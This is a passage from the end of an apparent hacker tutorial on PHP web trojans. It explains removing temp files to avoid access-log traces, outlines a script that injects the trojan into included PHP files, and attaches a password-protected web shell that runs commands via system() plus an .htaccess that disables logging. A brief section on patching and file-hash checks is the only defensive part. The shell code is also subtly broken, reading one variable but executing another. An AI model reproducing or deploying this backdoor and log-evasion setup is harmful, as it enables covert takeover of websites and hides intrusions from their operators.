5a) Removes the temp file.
5b) Removes the temp .htaccess file.
5c) Removes the directory.

In this way it'll not leave traces in the Access log at all.

---------------------------------------------------------------------------------------------------------
5. Injection

Now we now how to hide the trojan, and how to hide it's acting (as good as possible) we need a place to store it.
At first I mentioned to put in index.php or some like. But it can be done more efficently. We'll create an script that does the following things

1) Search for the include function
2a) match pick 2 randomly file=random include
2b) to bad file=current
3) search file for variables of f1.
4a) no match insert f1
4b) match replace variables in f1, then insert f1

---------------------------------------------------------------------------------------------------------
6. Measures

The best thing to do for not getting infected by a webtrojan is running up to date software. When your site isn't exploitable there's less chanse of getting a trojan. Also you could create a list with file hashes, store this on a remote computer and schedule a compare week or daily. In this way you'll mention when files changes!

---------------------------------------------------------------------------------------------------------
7. Contact

If you have any thing to attach, just copy the text and repost it to the site you got it from. For contact http://twitter.com/shad0w_crash.

---------------------------------------------------------------------------------------------------------
Attach 1: Most easy PHP trojan.

error_reporting(0);
$action = $_GET['cmd'];
$pw = $_GET['pw'];
$password = "7a3b4197c700b7a94efef0a0590f465664ff210e120156a8c70913c1302fc06fa1bc85cffbf2fb113f99323f08e91489dd4531a0c3657b22fdc065f87b799f5b";
/* Remove this line!, password= Hasdf4g */
if( hash('sha512',$pw) == $password)
{
echo system($cmd);
}
?>


---------------------------------------------------------------------------------------------------------
Attach 2: .Htaccess.

SetEnvIf Request_URI "^/tmpdir/tempfile\.php$" dontlog

order deny,allow
deny from all
allow from 127.0.0.1 (or the remote ip of the server).


first rule disabbles access logs for the file.
Second only allows a request by the server itself.